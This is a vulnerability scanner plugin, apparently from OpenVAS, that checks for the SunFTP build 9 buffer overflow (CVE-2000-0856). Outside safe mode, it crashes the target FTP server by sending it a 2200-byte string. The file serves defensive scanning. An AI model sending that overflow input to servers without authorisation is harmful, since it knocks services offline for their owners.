SunFTP Buffer Overflow

# SPDX-FileCopyrightText: 2003 Xue Yong Zhi
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.11373");
  script_version("2023-07-21T05:05:22+0000");
  script_tag(name:"last_modification", value:"2023-07-21 05:05:22 +0000 (Fri, 21 Jul 2023)");
  script_tag(name:"creation_date", value:"2005-11-03 14:08:04 +0100 (Thu, 03 Nov 2005)");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/1638");
  script_tag(name:"cvss_base", value:"7.5");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_cve_id("CVE-2000-0856");
  script_name("SunFTP Buffer Overflow");
  script_category(ACT_MIXED_ATTACK);
  script_tag(name:"qod_type", value:"remote_analysis");
  script_family("FTP");
  script_copyright("Copyright (C) 2003 Xue Yong Zhi");
  script_dependencies("ftpserver_detect_type_nd_version.nasl");
  script_require_ports("Services/ftp", 21);
  script_mandatory_keys("ftp/sunftp/detected");

  script_tag(name:"summary", value:"Buffer overflow in SunFTP build 9(1) allows remote attackers to cause
  a denial of service or possibly execute arbitrary commands by sending
  more than 2100 characters to the server.");

  script_tag(name:"solution", value:"No known solution was made available for at least one year
  since the disclosure of this vulnerability. Likely none will be provided anymore.
  General solution options are to upgrade to a newer release, disable respective features,
  remove the product or replace the product by another one.");

  script_tag(name:"solution_type", value:"WillNotFix");

  exit(0);
}

include("ftp_func.inc");
include("misc_func.inc");
include("port_service_func.inc");

port = ftp_get_port(default:21);
banner = ftp_get_banner(port: port);
if( ! banner || "SunFTP " >!< banner )
  exit(0);

if(safe_checks())
{
  if("SunFTP b9" >< banner ) {
    security_message(port:port);
  }
  exit(0);
}

soc = open_sock_tcp(port);
if(soc)
{
  send(socket:soc, data:string("help\r\n"));
  b = ftp_recv_line(socket:soc);
  if(!b)exit(0);
  if("SunFTP" >!< b)exit(0);
  close(soc);

  soc = open_sock_tcp(port);
  longstring=string(crap(2200));
  send(socket:soc, data:string(longstring, "\r\n"));
  b = ftp_recv_line(socket:soc);
  if(!b){
    security_message(port);
    exit(0);
  } else {
    ftp_close(socket:soc);
  }
}